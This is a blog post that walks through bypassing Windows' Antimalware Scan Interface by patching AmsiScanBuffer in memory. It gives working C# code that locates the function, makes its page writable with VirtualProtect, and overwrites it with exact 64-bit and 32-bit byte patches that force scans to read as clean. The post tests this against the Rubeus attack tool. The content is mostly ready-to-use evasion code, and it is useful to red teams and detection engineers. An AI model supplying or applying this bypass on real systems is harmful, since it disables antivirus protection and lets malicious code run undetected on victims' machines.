Memory Patching AMSI Bypass

This post is a replacement for my previous 4-part series.

What is AMSI?

The Antimalware Scan Interface is a set of Windows APIs that allows any application to integrate with an antivirus product (assuming that product acts as an AMSI provider). Windows Defender, naturally, acts as an AMSI provider as do many third-party AV solutions.

Simply put, AMSI acts as a bridge between an application and an AV engine. Take PowerShell as an example – when a user tries to execute any code, PowerShell will submit it to AMSI prior to execution. If the AV engine deems the content it to be malicious, AMSI will report that back and PowerShell won’t run the code. This was a great solution for script-based malware that ran in memory and never touched disk.

Any application developer can use AMSI to scan user-supplied input (which is an excellent way to test bypasses 😈).

amsi.dll

For an application to submit a sample to AMSI, it must load amsi.dll into its address space and call a series of AMSI APIs exported from that DLL. We can use a tool such as APIMonitor to hook PowerShell and monitor which APIs it calls. In order, these will typically be:

We can use some handy-dandy P/Invoke to replicate this in C#.

using System;
using System.Runtime.InteropServices;

namespace ConsoleApp
{
    class Program
    {
        static void Main(string[] args)
        {
        }

        [DllImport("amsi.dll")]
        static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

        [DllImport("amsi.dll")]
        static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

        [DllImport("amsi.dll")]
        static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);

        enum AMSI_RESULT
        {
            AMSI_RESULT_CLEAN = 0,
            AMSI_RESULT_NOT_DETECTED = 1,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
            AMSI_RESULT_DETECTED = 32768
        }
    }
}

All we have to do is initialise AMSI, open a new session and send a sample to it.

// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);

// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);

// Print result
Console.WriteLine(amsiResult);

This gives us the result AMSI_RESULT_DETECTED.

Memory Patching

Tools such as Process Hacker will show that amsi.dll is indeed loaded into the process after AMSI has been initialised. To overwrite a function in memory, such as AmsiScanBuffer, we need to get it’s location in memory.

We can do that by first finding the base address of amsi.dll using the .NET System.Diagnostics class, and then calling the GetProcAddress API.

var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;

foreach (ProcessModule module in modules)
{
    if (module.ModuleName == "amsi.dll")
    {
        hAmsi = module.BaseAddress;
        break;
    }
}

var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

In my case, AmsiScanBuffer is located at 0x00007ffe26aa35e0. By looking at the memory addresses associated with amsi.dll, you can corroborate that this is inside the main RX region of the module.

To overwrite the instructions in this region, we need to use VirtualProtect to make it writeable.

var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);

// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);

// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);

You will then see a whole bunch of A’s in this memory region and allowing the application to call AmsiScanBuffer will result in the process crashing (because clearly A’s are not valid instructions).

There are countless instructions we can put here. The general idea is to change the behaviour in such a way as to prevent AmsiScanBuffer from returning a positive result.

Analysing the DLL using a tool such as IDA can provide some ideas.

One thing AmsiScanBuffer does is check the parameters that have been supplied to it. If it finds an invalid argument, it branches off to loc_1800036B5. Here, it moves 0x80070057 into eax, bypasses the branch that does the actual scanning and returns.

0x80070057 is an HRESULT return code for E_INVALIDARG.

We can replicate this behaviour by overwriting the beginning of AmsiScanBuffer with:

mov eax, 0x80070057
ret

defuse.ca has a useful tool for converting assembly into hex and byte arrays.

Instead of var garbage:

var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

This will cause the return code of AmsiScanBuffer to be E_INVALIDARG, but the actual scan result to be 0 – often interpreted as AMSI_RESULT_CLEAN.

It doesn’t seem like any applications are actually checking to see if the return code is not S_OK, and will continue to load the content as long as the scan result itself is not equal to or greater than 32768 – this certainly appears to be the case for PowerShell and .NET.

The above works for 64-bit, but the assembly required for 32-bit is a little bit different due to the way data is returned on the stack.

mov eax, 0x80070057
ret 0x18